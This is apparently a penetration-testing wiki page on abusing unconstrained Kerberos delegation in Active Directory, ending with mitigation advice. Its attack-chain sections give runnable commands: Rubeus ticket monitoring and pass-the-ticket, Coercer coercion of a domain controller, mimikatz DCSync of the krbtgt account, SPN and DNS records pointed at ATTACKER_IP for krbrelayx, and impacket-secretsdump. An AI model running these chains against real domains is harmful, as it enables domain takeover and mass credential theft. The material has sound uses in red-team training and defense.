Skip to content

Unconstrained Kerberos delegation

When "Trust this computer for delegation to any service (Kerberos only)" is enabled on a computer (or, rarely, a user) account, the KDC embeds a forwardable copy of the client's TGT inside the service ticket sent to that host. Any process running as SYSTEM on the server can extract that TGT and request new service tickets as that user to any SPN in the forest.

The host becomes a ticket collection point: compromise it once, then wait for (or force) high-value Kerberos logons.

See the diagram on Delegations overview for the trust direction.

Default on domain controllers

Every DC computer object has unconstrained delegation by design. The practical attack is almost always a member server (file server, legacy app server, Exchange, SCCM distribution point, etc.) that admins or services still authenticate to with Kerberos.

Who is in scope

RequirementNotes
Control of the delegating hostLocal admin / SYSTEM on the unconstrained-delegation computer, or credentials for that computer account plus a remote coercion setup (krbrelayx).
Victim uses Kerberos to the hostNTLM-only logons do not forward a TGT.
Victim is delegatableNot in Protected Users, not flagged as "Account is sensitive and cannot be delegated".
RID 500 AdministratorNot protected by those flags even if added to Protected Users (SensePost, 2023).

Enumeration

powershell
# PowerView
Get-DomainComputer -Unconstrained
Get-DomainUser -Unconstrained

# AD module (computers)
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation

# LDAP bit: TRUSTED_FOR_DELEGATION (0x80000) on userAccountControl
# BloodHound: "Unconstrained Delegation" / edges to such computers
sh
# Impacket
impacket-findDelegation 'domain.local/user:pass'

# NetExec LDAP module
nxc ldap dc01.domain.local -u user -p pass -M find-delegation

Prioritise hosts where tier-0 / DA sessions or DC machine accounts are likely to authenticate (file/print, backup, WSUS, Exchange, SCCM, monitoring agents).

Attack chain: compromised host (Windows)

Typical path: own a member server with unconstrained delegation, capture tickets locally, coerce a privileged principal to authenticate.

1. Confirm delegation and compromise the host

Land local admin or SYSTEM on the target (e.g. FILE01.domain.local).

2. Monitor for incoming TGTs

From an elevated context on that host:

powershell
Rubeus.exe monitor /interval:5 /nowrap
# Optional: only high-value names
Rubeus.exe monitor /interval:5 /filteruser:Administrator /nowrap

See Tool cheat sheet: Rubeus monitor.

3. Trigger Kerberos authentication to the host

Passive: wait for an admin or service to open a share, RDP, SCCM push, backup job, etc.

Active coercion: use Coercer to call vulnerable RPC endpoints (PrinterBug, PetitPotam, ShadowCoerce, DFSCoerce, etc.) and make a remote host authenticate to the unconstrained server. -l is the NetBIOS name of the listener, here the compromised unconstrained host (FILE01), not your attacker box.

sh
# Optional: see which coercion methods work on the victim
coercer scan -d domain.local -u user -p pass -t dc01.domain.local

# Coerce dc01 to authenticate to FILE01 (Rubeus monitor must be running on FILE01)
coercer coerce -d domain.local -u user -p pass -t dc01.domain.local -l FILE01

Run from any foothold with valid domain credentials; the coerced principal is usually the target's machine account (DC01$).

4. Use the captured TGT

Rubeus prints a base64 TGT when monitor catches one:

powershell
Rubeus.exe ptt /ticket:<base64-tgt>
# DCSync as that user (if rights allow)
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
# Or remote admin
Rubeus.exe createnetonly:cmd.exe /show
Rubeus.exe ptt /ticket:<base64-tgt>
# In the new window: dir \\dc01\c$

S4U2self (optional): with a user TGT, request a service ticket to the victim's own machine and obtain local admin on their current session host without DCSync. Useful when the ticket is not DA.

Attack chain: remote

Use when you have credentials for the unconstrained account but not shell on the host (common for dedicated service users; computer accounts can self-manage msDS-AdditionalDnsHostName).

  1. Add an attacker SPN on the compromised account (HOST/randomspn.domain.local, HTTP/randomspn.domain.local, CIFS/randomspn.domain.local).
  2. Register DNS for that name (dnstool, or RSAT tools) pointing to your listener.
  3. Start krbrelayx.py with the correct long-term key (AES256 for computer accounts; RC4 for user accounts).
  4. Coerce the victim with Coercer (-l = NetBIOS name registered in step 1); krbrelayx decrypts the ticket and writes Administrator.ccache / krbtgt.ccache.
  5. export KRB5CCNAME=... and use Impacket (psexec, secretsdump, etc.).

From Linux

sh
addspn.py -u 'lab\FILE01$' -hashes ':NThash' -s 'CIFS/randomspn.domain.local' --additional dc01.domain.local
dnstool.py -u 'lab\FILE01$' -hashes ':NThash' -r randomspn.domain.local -d 10.0.0.50 --action add dc01.domain.local
krbrelayx.py -aesKey <aes256-cts-hmac-sha1-96>

# SMB coercion (default); use --auth-type http if krbrelayx listens on HTTP
coercer coerce -d domain.local -u user -p pass -t dc01.domain.local -l attacker

export KRB5CCNAME=$(pwd)/Administrator.ccache
impacket-secretsdump -k -no-pass dc01.domain.local

From Windows

powershell
setspn -U -S cifs/randomspn.domain.local domain\delegation_account
Invoke-DNSUpdate -DNSType A -DNSName randomspn ATTACKER_IP
krbrelayx.exe --krbsalt 'DOMAIN.LOCALdelegation_account' --krbpass 'user_password'

# SMB coercion (default); use --auth-type http if krbrelayx listens on HTTP
coercer coerce -d domain.local -u user -p pass -t dc01.domain.local -l randomspn

# Convert ccache ticket to .kirbi (e.g. on linux)
cat ticket.b64 | base64 -d > ticket.kirbi

# Add the ticket to your session (you might need a netonly session)
Rubeus.exe ptt /ticket:ticket.kirbi

Common pitfalls

PitfallWhat goes wrong
Expecting a DA user TGT from DC coercionCoercer against a DC usually yields the target's machine account (DC01$), not a human DA. Still powerful (DCSync via machine account rights, further relay), but not an instant DOMAIN\Administrator user TGT.
NTLM-only coercionNo forwardable TGT in the ticket; delegation abuse fails. Prefer Kerberos-coercible paths or wait for real Kerberos logons.
Protected / sensitive victimsKDC omits the TGT; monitor stays empty for those principals.
RID 500 AdministratorStill delegatable; do not rely on Protected Users alone for this account.
Wrong key in krbrelayxCiphertext integrity failed: computers default to AES256; legacy user delegation accounts often RC4. Supply /aesKey, -hashes, or --krbsalt / --krbpass.
Insufficient privilege on hostRubeus monitor needs admin / SYSTEM to read other logon sessions' Kerberos caches.
DNS / SPN lagRemote krbrelayx: wait for AD DNS (~minutes) before coercion; verify with nslookup.
Treating every UAC host equallyCompromising a print server nobody uses is a dead end; target hosts in the auth path of DCs or admins.

Mitigation

Remove unconstrained delegation wherever it is not strictly required:

  • ADUC, computer, Delegation tab, Do not trust this computer for delegation, or clear Trusted for delegation in PowerShell / LDAP (userAccountControl without TRUSTED_FOR_DELEGATION).
  • Replace with constrained delegation or RBCD scoped to specific SPNs.

Protect privileged identities:

  • Place tier-0 / tier-1 accounts in Protected Users (blocks TGT delegation; does not apply to RID 500).
  • Enable "Account is sensitive and cannot be delegated" on service and admin accounts that must never be impersonated.
  • Enforce tiered administration: no interactive DA logons on member servers, especially those with any delegation.

Reduce exposure:

  • Inventory regularly: Get-ADComputer -Filter {TrustedForDelegation -eq $True}, BloodHound, PingCastle.
  • Prioritise internet-facing, DMZ, and legacy app tiers first.
  • Monitor anomalous Kerberos TGT export / DCSync after auth to delegation-enabled hosts.

Legacy apps: if unconstrained delegation cannot be removed immediately, isolate the server, restrict who can authenticate, and treat the host as tier-0 adjacent until replaced.